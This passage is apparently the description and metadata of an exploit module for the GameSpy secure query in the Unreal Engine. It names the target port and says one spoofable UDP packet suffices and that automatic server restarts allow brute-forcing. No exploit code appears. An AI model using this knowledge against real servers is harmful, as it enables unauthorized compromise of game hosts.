This is an exploit for the GameSpy secure query in
the Unreal Engine.
This exploit only requires one UDP packet, which can
be both spoofed and sent to a broadcast address.
Usually, the GameSpy query server listens on port 7787,
but you can manually specify the port as well.
The RunServer.sh script will automatically restart the
server upon a crash, giving us the ability to
bruteforce the service and exploit it multiple
times.},'Author' => ['stinko'],'License'=> BSD_LICENSE,'Version'=> '$Revision: 10394 $','References' =>
